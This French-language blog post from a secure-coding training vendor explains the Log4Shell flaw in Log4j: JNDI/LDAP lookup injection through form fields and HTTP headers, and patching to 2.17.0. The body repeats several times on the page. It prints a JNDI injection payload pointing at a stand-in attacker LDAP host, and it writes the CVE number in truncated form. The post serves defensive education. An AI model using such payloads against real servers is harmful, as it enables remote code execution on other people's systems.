Blog

La vulnérabilité de Log4j expliquée - Son vecteur d'attaque et comment la prévenir

Laura Verheyde
Publié le 16 janvier 2022

Le 9 décembre, une faille de 0 jour dans la bibliothèque Java Log4j a été divulguée. La CVE-44228, baptisée Log4Shell, a reçu une note de "gravité élevée" car l'exploit peut entraîner l'exécution de code à distance(RCE). En outre, log4j-core est l'une des bibliothèques de journalisation Java les plus utilisées, ce qui met en danger des millions d'applications.

Vous souhaitez améliorer rapidement vos compétences en matière de Log4Shell ? 

Nous avons construit une vitrine qui vous emmène de l'idée de base de Log4Shell à l'expérience de l'exploitation de cette vulnérabilité dans un simulateur appelé Mission. Dans cette mission, nous vous expliquerons comment la vulnérabilité Log4j peut avoir un impact sur votre infrastructure et vos applications. Cliquez ici pour accéder directement à la présentation, ou continuez à lire pour en savoir plus sur la vulnérabilité en détail.

Des nouvelles anciennes ?

L'exploit n'est pas nouveau. Déjà dans leur conférence BlackHat de 2016, les chercheurs en sécurité Alvaro Muñoz et Oleksandr Mirosh soulignaient que "les applications ne devraient pas effectuer de recherches JNDI avec des données non fiables", et illustraient comment une injection JNDI/LDAP ciblée pouvait conduire à l'exécution de code à distance. Et c'est exactement ce qui se trouve au cœur de Log4Shell.

Vecteur d'attaque

La charge utile d'injection de Log4Shell ressemble à ceci :

${jndi:ldap://attacker.host/xyz}

To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.

Ensuite, il y a JNDI, ou Java Naming and Directory Interface, qui est une API permettant de se connecter à des services utilisant des protocoles tels que LDAP, DNS, RMI, etc. pour récupérer des données ou des ressources. En termes simples, dans notre exemple de charge utile malveillante ci-dessus, JNDI effectue une recherche sur le serveur LDAP contrôlé par l'attaquant. Sa réponse pourrait, par exemple, pointer vers un fichier de classe Java contenant un code malveillant, qui sera en retour exécuté sur le serveur vulnérable.

Ce qui rend cette vulnérabilité si problématique, c'est que Log4j évalue toutes les entrées de journal, et qu'il effectue des recherches dans toutes les entrées utilisateur enregistrées, écrites dans une syntaxe EL préfixée par "jndi". La charge utile peut être injectée à n'importe quel endroit où les utilisateurs peuvent saisir des données, comme les champs de formulaire. En outre, les en-têtes HTTP, tels que User-Agent et X-Forwarded-For, ainsi que d'autres en-têtes, peuvent être personnalisés pour transporter la charge utile.

Pour vivre l'exploit vous-même, rendez-vous dans notre vitrine et passez à l'étape 2 - "L'impact de l'expérience".

Prévention : Sensibilisation

La mise à jour est recommandée pour toutes les applications, car Log4j a apporté des correctifs au code vulnérable. Les versions 2.15.0 et 2.16.0 contenaient cependant un DDoS et d'autres vulnérabilités, ce qui signifie qu'à partir de fin décembre, il est recommandé de passer à la version 2.17.0.

En tant que développeurs qui écrivent du code, nous devons toujours tenir compte de la sécurité. Log4Shell nous a appris qu'il existe des risques liés à l'utilisation de frameworks ou de bibliothèques tiers. Nous devons être conscients du fait que la sécurité de notre application peut être compromise par l'utilisation de sources externes, que nous supposons naïvement sûres. 

Cette vulnérabilité aurait-elle pu être évitée ? Oui et non. D'une part, les développeurs ne peuvent pas faire grand-chose car les composants vulnérables sont introduits par des logiciels tiers. D'autre part, la leçon à tirer de cette affaire est une leçon qui a été répétée à maintes reprises, à savoir qu'il ne faut jamais faire confiance aux données saisies par l'utilisateur.

Secure Code Warrior estime que les développeurs soucieux de la sécurité sont le meilleur moyen de prévenir les vulnérabilités dans le code. Étant donné que SCW propose une formation à grande échelle spécifique au cadre de programmation, les entreprises clientes ont été en mesure de localiser rapidement les développeurs Java concernés en utilisant les données des rapports. Elles se sont également appuyées sur leurs champions de la sécurité formés par SCW pour accélérer la mise à niveau de Log4j.

Pour les développeurs Java en particulier, Secure Code Warrior propose Sensei, un plugin IntelliJ gratuit. Cet outil d'analyse de code basé sur des règles peut être utilisé pour faire respecter les règles de codage et pour prévenir et corriger les vulnérabilités. Vous pouvez créer vos propres règles ou utiliser nos livres de recettes prêts à l'emploi. Parcourez nos recettes, et n'oubliez pas de télécharger notre livre de recettes Log4j qui vous aidera à localiser et à corriger la vulnérabilité Log4Shell en un clin d'œil.

Améliorez vos compétences en matière de défense contre Log4Shell

Vous souhaitez mettre en pratique ce que vous avez appris dans cet article de blog ? Notre démonstration peut vous aider. Au début de la présentation, vous aurez un bref aperçu de cette vulnérabilité, puis vous serez emmené dans un environnement simulé où vous pourrez essayer l'exploit à l'aide d'instructions guidées.


Voir la ressource
Voir la ressource

En décembre 2021, une vulnérabilité de sécurité critique Log4Shell a été divulguée dans la bibliothèque Java Log4j. Dans cet article, nous décomposons la vulnérabilité Log4Shell dans la forme la plus simple pour que vous puissiez en saisir les bases et nous vous présentons une mission - un terrain de jeu où vous pouvez essayer d'exploiter un site web simulé en utilisant la connaissance de cette vulnérabilité.

Vous souhaitez en savoir plus ?

Secure Code Warrior est là pour vous aider à sécuriser le code tout au long du cycle de vie du développement logiciel et à créer une culture dans laquelle la cybersécurité est une priorité. Que vous soyez responsable AppSec, développeur, CISO ou toute autre personne impliquée dans la sécurité, nous pouvons aider votre organisation à réduire les risques associés à un code non sécurisé.

Réservez une démonstration
Partager sur :
Auteur
Laura Verheyde
Publié le 16 janvier 2022

Laura Verheyde est développeuse de logiciels à l'adresse Secure Code Warrior . Elle se consacre à la recherche de vulnérabilités et à la création de contenu pour Missions et Coding labs.

Partager sur :

Le 9 décembre, une faille de 0 jour dans la bibliothèque Java Log4j a été divulguée. La CVE-44228, baptisée Log4Shell, a reçu une note de "gravité élevée" car l'exploit peut entraîner l'exécution de code à distance(RCE). En outre, log4j-core est l'une des bibliothèques de journalisation Java les plus utilisées, ce qui met en danger des millions d'applications.

Vous souhaitez améliorer rapidement vos compétences en matière de Log4Shell ? 

Nous avons construit une vitrine qui vous emmène de l'idée de base de Log4Shell à l'expérience de l'exploitation de cette vulnérabilité dans un simulateur appelé Mission. Dans cette mission, nous vous expliquerons comment la vulnérabilité Log4j peut avoir un impact sur votre infrastructure et vos applications. Cliquez ici pour accéder directement à la présentation, ou continuez à lire pour en savoir plus sur la vulnérabilité en détail.

Des nouvelles anciennes ?

L'exploit n'est pas nouveau. Déjà dans leur conférence BlackHat de 2016, les chercheurs en sécurité Alvaro Muñoz et Oleksandr Mirosh soulignaient que "les applications ne devraient pas effectuer de recherches JNDI avec des données non fiables", et illustraient comment une injection JNDI/LDAP ciblée pouvait conduire à l'exécution de code à distance. Et c'est exactement ce qui se trouve au cœur de Log4Shell.

Vecteur d'attaque

La charge utile d'injection de Log4Shell ressemble à ceci :

${jndi:ldap://attacker.host/xyz}

To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.

Ensuite, il y a JNDI, ou Java Naming and Directory Interface, qui est une API permettant de se connecter à des services utilisant des protocoles tels que LDAP, DNS, RMI, etc. pour récupérer des données ou des ressources. En termes simples, dans notre exemple de charge utile malveillante ci-dessus, JNDI effectue une recherche sur le serveur LDAP contrôlé par l'attaquant. Sa réponse pourrait, par exemple, pointer vers un fichier de classe Java contenant un code malveillant, qui sera en retour exécuté sur le serveur vulnérable.

Ce qui rend cette vulnérabilité si problématique, c'est que Log4j évalue toutes les entrées de journal, et qu'il effectue des recherches dans toutes les entrées utilisateur enregistrées, écrites dans une syntaxe EL préfixée par "jndi". La charge utile peut être injectée à n'importe quel endroit où les utilisateurs peuvent saisir des données, comme les champs de formulaire. En outre, les en-têtes HTTP, tels que User-Agent et X-Forwarded-For, ainsi que d'autres en-têtes, peuvent être personnalisés pour transporter la charge utile.

Pour vivre l'exploit vous-même, rendez-vous dans notre vitrine et passez à l'étape 2 - "L'impact de l'expérience".

Prévention : Sensibilisation

La mise à jour est recommandée pour toutes les applications, car Log4j a apporté des correctifs au code vulnérable. Les versions 2.15.0 et 2.16.0 contenaient cependant un DDoS et d'autres vulnérabilités, ce qui signifie qu'à partir de fin décembre, il est recommandé de passer à la version 2.17.0.

En tant que développeurs qui écrivent du code, nous devons toujours tenir compte de la sécurité. Log4Shell nous a appris qu'il existe des risques liés à l'utilisation de frameworks ou de bibliothèques tiers. Nous devons être conscients du fait que la sécurité de notre application peut être compromise par l'utilisation de sources externes, que nous supposons naïvement sûres. 

Cette vulnérabilité aurait-elle pu être évitée ? Oui et non. D'une part, les développeurs ne peuvent pas faire grand-chose car les composants vulnérables sont introduits par des logiciels tiers. D'autre part, la leçon à tirer de cette affaire est une leçon qui a été répétée à maintes reprises, à savoir qu'il ne faut jamais faire confiance aux données saisies par l'utilisateur.

Secure Code Warrior estime que les développeurs soucieux de la sécurité sont le meilleur moyen de prévenir les vulnérabilités dans le code. Étant donné que SCW propose une formation à grande échelle spécifique au cadre de programmation, les entreprises clientes ont été en mesure de localiser rapidement les développeurs Java concernés en utilisant les données des rapports. Elles se sont également appuyées sur leurs champions de la sécurité formés par SCW pour accélérer la mise à niveau de Log4j.

Pour les développeurs Java en particulier, Secure Code Warrior propose Sensei, un plugin IntelliJ gratuit. Cet outil d'analyse de code basé sur des règles peut être utilisé pour faire respecter les règles de codage et pour prévenir et corriger les vulnérabilités. Vous pouvez créer vos propres règles ou utiliser nos livres de recettes prêts à l'emploi. Parcourez nos recettes, et n'oubliez pas de télécharger notre livre de recettes Log4j qui vous aidera à localiser et à corriger la vulnérabilité Log4Shell en un clin d'œil.

Améliorez vos compétences en matière de défense contre Log4Shell

Vous souhaitez mettre en pratique ce que vous avez appris dans cet article de blog ? Notre démonstration peut vous aider. Au début de la présentation, vous aurez un bref aperçu de cette vulnérabilité, puis vous serez emmené dans un environnement simulé où vous pourrez essayer l'exploit à l'aide d'instructions guidées.


Voir la ressource
Voir la ressource

Remplissez le formulaire ci-dessous pour télécharger le rapport

Nous aimerions que vous nous autorisiez à vous envoyer des informations sur nos produits et/ou sur des sujets liés au codage sécurisé. Nous traiterons toujours vos données personnelles avec le plus grand soin et ne les vendrons jamais à d'autres entreprises à des fins de marketing.

Soumettre
Pour soumettre le formulaire, veuillez activer les cookies "Analytics". N'hésitez pas à les désactiver à nouveau une fois que vous aurez terminé.

Le 9 décembre, une faille de 0 jour dans la bibliothèque Java Log4j a été divulguée. La CVE-44228, baptisée Log4Shell, a reçu une note de "gravité élevée" car l'exploit peut entraîner l'exécution de code à distance(RCE). En outre, log4j-core est l'une des bibliothèques de journalisation Java les plus utilisées, ce qui met en danger des millions d'applications.

Vous souhaitez améliorer rapidement vos compétences en matière de Log4Shell ? 

Nous avons construit une vitrine qui vous emmène de l'idée de base de Log4Shell à l'expérience de l'exploitation de cette vulnérabilité dans un simulateur appelé Mission. Dans cette mission, nous vous expliquerons comment la vulnérabilité Log4j peut avoir un impact sur votre infrastructure et vos applications. Cliquez ici pour accéder directement à la présentation, ou continuez à lire pour en savoir plus sur la vulnérabilité en détail.

Des nouvelles anciennes ?

L'exploit n'est pas nouveau. Déjà dans leur conférence BlackHat de 2016, les chercheurs en sécurité Alvaro Muñoz et Oleksandr Mirosh soulignaient que "les applications ne devraient pas effectuer de recherches JNDI avec des données non fiables", et illustraient comment une injection JNDI/LDAP ciblée pouvait conduire à l'exécution de code à distance. Et c'est exactement ce qui se trouve au cœur de Log4Shell.

Vecteur d'attaque

La charge utile d'injection de Log4Shell ressemble à ceci :

${jndi:ldap://attacker.host/xyz}

To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.

Ensuite, il y a JNDI, ou Java Naming and Directory Interface, qui est une API permettant de se connecter à des services utilisant des protocoles tels que LDAP, DNS, RMI, etc. pour récupérer des données ou des ressources. En termes simples, dans notre exemple de charge utile malveillante ci-dessus, JNDI effectue une recherche sur le serveur LDAP contrôlé par l'attaquant. Sa réponse pourrait, par exemple, pointer vers un fichier de classe Java contenant un code malveillant, qui sera en retour exécuté sur le serveur vulnérable.

Ce qui rend cette vulnérabilité si problématique, c'est que Log4j évalue toutes les entrées de journal, et qu'il effectue des recherches dans toutes les entrées utilisateur enregistrées, écrites dans une syntaxe EL préfixée par "jndi". La charge utile peut être injectée à n'importe quel endroit où les utilisateurs peuvent saisir des données, comme les champs de formulaire. En outre, les en-têtes HTTP, tels que User-Agent et X-Forwarded-For, ainsi que d'autres en-têtes, peuvent être personnalisés pour transporter la charge utile.

Pour vivre l'exploit vous-même, rendez-vous dans notre vitrine et passez à l'étape 2 - "L'impact de l'expérience".

Prévention : Sensibilisation

La mise à jour est recommandée pour toutes les applications, car Log4j a apporté des correctifs au code vulnérable. Les versions 2.15.0 et 2.16.0 contenaient cependant un DDoS et d'autres vulnérabilités, ce qui signifie qu'à partir de fin décembre, il est recommandé de passer à la version 2.17.0.

En tant que développeurs qui écrivent du code, nous devons toujours tenir compte de la sécurité. Log4Shell nous a appris qu'il existe des risques liés à l'utilisation de frameworks ou de bibliothèques tiers. Nous devons être conscients du fait que la sécurité de notre application peut être compromise par l'utilisation de sources externes, que nous supposons naïvement sûres. 

Cette vulnérabilité aurait-elle pu être évitée ? Oui et non. D'une part, les développeurs ne peuvent pas faire grand-chose car les composants vulnérables sont introduits par des logiciels tiers. D'autre part, la leçon à tirer de cette affaire est une leçon qui a été répétée à maintes reprises, à savoir qu'il ne faut jamais faire confiance aux données saisies par l'utilisateur.

Secure Code Warrior estime que les développeurs soucieux de la sécurité sont le meilleur moyen de prévenir les vulnérabilités dans le code. Étant donné que SCW propose une formation à grande échelle spécifique au cadre de programmation, les entreprises clientes ont été en mesure de localiser rapidement les développeurs Java concernés en utilisant les données des rapports. Elles se sont également appuyées sur leurs champions de la sécurité formés par SCW pour accélérer la mise à niveau de Log4j.

Pour les développeurs Java en particulier, Secure Code Warrior propose Sensei, un plugin IntelliJ gratuit. Cet outil d'analyse de code basé sur des règles peut être utilisé pour faire respecter les règles de codage et pour prévenir et corriger les vulnérabilités. Vous pouvez créer vos propres règles ou utiliser nos livres de recettes prêts à l'emploi. Parcourez nos recettes, et n'oubliez pas de télécharger notre livre de recettes Log4j qui vous aidera à localiser et à corriger la vulnérabilité Log4Shell en un clin d'œil.

Améliorez vos compétences en matière de défense contre Log4Shell

Vous souhaitez mettre en pratique ce que vous avez appris dans cet article de blog ? Notre démonstration peut vous aider. Au début de la présentation, vous aurez un bref aperçu de cette vulnérabilité, puis vous serez emmené dans un environnement simulé où vous pourrez essayer l'exploit à l'aide d'instructions guidées.


Accès aux ressources

Cliquez sur le lien ci-dessous et téléchargez le PDF de cette ressource.

Secure Code Warrior est là pour vous aider à sécuriser le code tout au long du cycle de vie du développement logiciel et à créer une culture dans laquelle la cybersécurité est une priorité. Que vous soyez responsable AppSec, développeur, CISO ou toute autre personne impliquée dans la sécurité, nous pouvons aider votre organisation à réduire les risques associés à un code non sécurisé.

Voir le rapportRéservez une démonstration
Télécharger le PDF
Voir la ressource
Partager sur :
Vous souhaitez en savoir plus ?

Partager sur :
Auteur
Laura Verheyde
Publié le 16 janvier 2022

Laura Verheyde est développeuse de logiciels à l'adresse Secure Code Warrior . Elle se consacre à la recherche de vulnérabilités et à la création de contenu pour Missions et Coding labs.

Partager sur :

Le 9 décembre, une faille de 0 jour dans la bibliothèque Java Log4j a été divulguée. La CVE-44228, baptisée Log4Shell, a reçu une note de "gravité élevée" car l'exploit peut entraîner l'exécution de code à distance(RCE). En outre, log4j-core est l'une des bibliothèques de journalisation Java les plus utilisées, ce qui met en danger des millions d'applications.

Vous souhaitez améliorer rapidement vos compétences en matière de Log4Shell ? 

Nous avons construit une vitrine qui vous emmène de l'idée de base de Log4Shell à l'expérience de l'exploitation de cette vulnérabilité dans un simulateur appelé Mission. Dans cette mission, nous vous expliquerons comment la vulnérabilité Log4j peut avoir un impact sur votre infrastructure et vos applications. Cliquez ici pour accéder directement à la présentation, ou continuez à lire pour en savoir plus sur la vulnérabilité en détail.

Des nouvelles anciennes ?

L'exploit n'est pas nouveau. Déjà dans leur conférence BlackHat de 2016, les chercheurs en sécurité Alvaro Muñoz et Oleksandr Mirosh soulignaient que "les applications ne devraient pas effectuer de recherches JNDI avec des données non fiables", et illustraient comment une injection JNDI/LDAP ciblée pouvait conduire à l'exécution de code à distance. Et c'est exactement ce qui se trouve au cœur de Log4Shell.

Vecteur d'attaque

La charge utile d'injection de Log4Shell ressemble à ceci :

${jndi:ldap://attacker.host/xyz}

To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.

Ensuite, il y a JNDI, ou Java Naming and Directory Interface, qui est une API permettant de se connecter à des services utilisant des protocoles tels que LDAP, DNS, RMI, etc. pour récupérer des données ou des ressources. En termes simples, dans notre exemple de charge utile malveillante ci-dessus, JNDI effectue une recherche sur le serveur LDAP contrôlé par l'attaquant. Sa réponse pourrait, par exemple, pointer vers un fichier de classe Java contenant un code malveillant, qui sera en retour exécuté sur le serveur vulnérable.

Ce qui rend cette vulnérabilité si problématique, c'est que Log4j évalue toutes les entrées de journal, et qu'il effectue des recherches dans toutes les entrées utilisateur enregistrées, écrites dans une syntaxe EL préfixée par "jndi". La charge utile peut être injectée à n'importe quel endroit où les utilisateurs peuvent saisir des données, comme les champs de formulaire. En outre, les en-têtes HTTP, tels que User-Agent et X-Forwarded-For, ainsi que d'autres en-têtes, peuvent être personnalisés pour transporter la charge utile.

Pour vivre l'exploit vous-même, rendez-vous dans notre vitrine et passez à l'étape 2 - "L'impact de l'expérience".

Prévention : Sensibilisation

La mise à jour est recommandée pour toutes les applications, car Log4j a apporté des correctifs au code vulnérable. Les versions 2.15.0 et 2.16.0 contenaient cependant un DDoS et d'autres vulnérabilités, ce qui signifie qu'à partir de fin décembre, il est recommandé de passer à la version 2.17.0.

En tant que développeurs qui écrivent du code, nous devons toujours tenir compte de la sécurité. Log4Shell nous a appris qu'il existe des risques liés à l'utilisation de frameworks ou de bibliothèques tiers. Nous devons être conscients du fait que la sécurité de notre application peut être compromise par l'utilisation de sources externes, que nous supposons naïvement sûres. 

Cette vulnérabilité aurait-elle pu être évitée ? Oui et non. D'une part, les développeurs ne peuvent pas faire grand-chose car les composants vulnérables sont introduits par des logiciels tiers. D'autre part, la leçon à tirer de cette affaire est une leçon qui a été répétée à maintes reprises, à savoir qu'il ne faut jamais faire confiance aux données saisies par l'utilisateur.

Secure Code Warrior estime que les développeurs soucieux de la sécurité sont le meilleur moyen de prévenir les vulnérabilités dans le code. Étant donné que SCW propose une formation à grande échelle spécifique au cadre de programmation, les entreprises clientes ont été en mesure de localiser rapidement les développeurs Java concernés en utilisant les données des rapports. Elles se sont également appuyées sur leurs champions de la sécurité formés par SCW pour accélérer la mise à niveau de Log4j.

Pour les développeurs Java en particulier, Secure Code Warrior propose Sensei, un plugin IntelliJ gratuit. Cet outil d'analyse de code basé sur des règles peut être utilisé pour faire respecter les règles de codage et pour prévenir et corriger les vulnérabilités. Vous pouvez créer vos propres règles ou utiliser nos livres de recettes prêts à l'emploi. Parcourez nos recettes, et n'oubliez pas de télécharger notre livre de recettes Log4j qui vous aidera à localiser et à corriger la vulnérabilité Log4Shell en un clin d'œil.

Améliorez vos compétences en matière de défense contre Log4Shell

Vous souhaitez mettre en pratique ce que vous avez appris dans cet article de blog ? Notre démonstration peut vous aider. Au début de la présentation, vous aurez un bref aperçu de cette vulnérabilité, puis vous serez emmené dans un environnement simulé où vous pourrez essayer l'exploit à l'aide d'instructions guidées.


Table des matières

Télécharger le PDF
Voir la ressource
Vous souhaitez en savoir plus ?

Secure Code Warrior est là pour vous aider à sécuriser le code tout au long du cycle de vie du développement logiciel et à créer une culture dans laquelle la cybersécurité est une priorité. Que vous soyez responsable AppSec, développeur, CISO ou toute autre personne impliquée dans la sécurité, nous pouvons aider votre organisation à réduire les risques associés à un code non sécurisé.

Réservez une démonstrationTélécharger
Partager sur :
Centre de ressources

Ressources pour vous aider à démarrer

Plus d'articles
Centre de ressources

Ressources pour vous aider à démarrer

Plus d'articles